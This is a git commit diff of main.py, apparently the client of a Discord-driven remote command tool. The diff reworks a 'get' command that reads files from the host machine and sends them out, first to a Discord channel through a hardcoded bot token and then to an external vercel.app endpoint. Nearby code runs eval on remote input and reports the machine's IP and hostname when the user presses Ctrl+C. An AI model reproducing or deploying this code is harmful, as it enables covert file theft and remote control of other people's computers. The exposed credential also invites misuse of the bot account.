diff options
| author | mrdog233o5 <mr.dog233o5@gmail.com> | 2023-09-02 13:47:38 +0800 |
|---|---|---|
| committer | mrdog233o5 <mr.dog233o5@gmail.com> | 2023-09-02 13:48:31 +0800 |
| commit | fc9bc6bd79a29bc03008ba145faa793b779d47dd (patch) | |
| tree | da5ea7cc4d35169e81feb223ecd1f061425e9432 /main.py | |
| parent | d96635e7fe944c4a59b47c326ef41526b1c1f73b (diff) | |
bruh
Diffstat (limited to 'main.py')
| -rw-r--r-- | main.py | 21 |
1 files changed, 7 insertions, 14 deletions
@@ -70,25 +70,17 @@ while True: old_command = "" continue if command.startswith("get "): - token = "OTEyMDExNjQzOTQ3NDc5MDgx.G_0FA6.4NubZfVPRUAiyVEaJiK39i78NCS-nH8RRKYcP4" - channel_id = '1140989222556274721' - url = f'https://discord.com/api/v9/channels/{channel_id}/messages' + print(command) localcmd = command.split() - path = "../" + localcmd[1] - file = open(path, "rb").read() - fileJson = { - "file" : (str(path), open(str(path), 'rb')) - } - payload = { - "content":"message" - } - header = {'Authorization': f'Bot {token}'} - + path = localcmd[1] + file = [str(path), open(str("../"+path), 'rb').read()] + file = str(file) try: - post(url, data = payload, headers=header, files=fileJson) + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data = file) except: pass old_command = commandId + continue if command.startswith("webfile "): localcmd = command.split(maxsplit=1) files = eval(localcmd[1]) @@ -527,6 +519,7 @@ while True: except KeyboardInterrupt: try: post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) when trying to post output``") + except KeyboardInterrupt: continue continue |
